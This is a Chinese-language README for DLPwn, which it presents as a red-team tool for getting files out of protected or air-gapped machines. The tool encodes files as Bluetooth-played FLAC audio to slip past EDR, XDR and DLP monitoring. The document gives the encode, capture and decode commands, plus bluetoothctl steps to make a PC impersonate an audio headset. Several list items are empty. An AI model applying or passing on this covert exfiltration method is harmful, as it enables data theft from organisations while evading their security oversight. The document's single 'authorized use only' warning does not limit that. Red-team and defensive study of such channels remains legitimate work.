通过蓝牙扬声器进行数据泄露防护
DLPwn 是一款红队工具,专为绕过安全系统(如 EDR(端点检测与响应)、XDR(扩展检测与响应)、DLP(数据泄露防护)以及更广泛的任何气隙信息系统)而设计的文件外传工具。它利用蓝牙音频传输将任意文件编码为 FLAC 音频信号,传输后在另一端解码,利用音频安全控制通常比网络或文件安全控制宽松这一事实。
DLPwn 通过三个主要步骤运行:
这种方法可以在不触发监控网络连接、磁盘写入或可疑进程的安全系统警报的情况下外泄敏感数据。
DLPwn 使用基于以下技术的音频传输协议:
每个文件被分割成最多 212 字节的帧,其中一个元数据帧包含文件名。
DLPwn 包含一个 QoS 指标系统,用于评估传输质量:
这允许根据音频条件优化传输参数(波特率、音调数量)。
pip install -r requirements.txt
python main.py encode myfile.bin --output transmission.flac
在蓝牙扬声器上播放 FLAC,然后在另一台机器上捕获:
python main.py bluetooth --filename capture.flac
注意:蓝牙配置(仅限 Linux)
bluetooth 命令仅在 Linux 系统上使用 PulseAudio 或 PipeWire 进行蓝牙音频捕获时才有效。要让该 PC 被源设备识别为蓝牙耳机:
如有必要,安装 bluetoothctl:
sudo apt install bluez-tools
启动 bluetoothctl 并配置 ClassID 以模拟音频耳机:
bluetoothctl
> power on
> discoverable on
> pairable on
> class 0x240404 # 立体声音频耳机的类
> quit
这使得源设备(手机、PC)能够像连接蓝牙耳机一样连接到该 PC,从而通过 PulseAudio 捕获音频。
或进行实时捕获:
python main.py decode --loopback --duration 35 --output recovered.bin
python main.py decode --input capture.flac --output recovered.bin
集播放、捕获和解码于一个命令:
python main.py stream transmission.flac --output recovered.bin
--baud:符号率(默认为 1500)。--m:FSK 音调数量(2、4 或 8)。--rs-nsym:RS 奇偶校验字节数(默认为 32)。--f0、--f1:基频。分析传输文件:
python diagnose.py transmission.flac
在红队场景下,DLPwn 允许:
警告:仅在授权环境中使用。音频传输可能被周围的摄像头或麦克风检测到。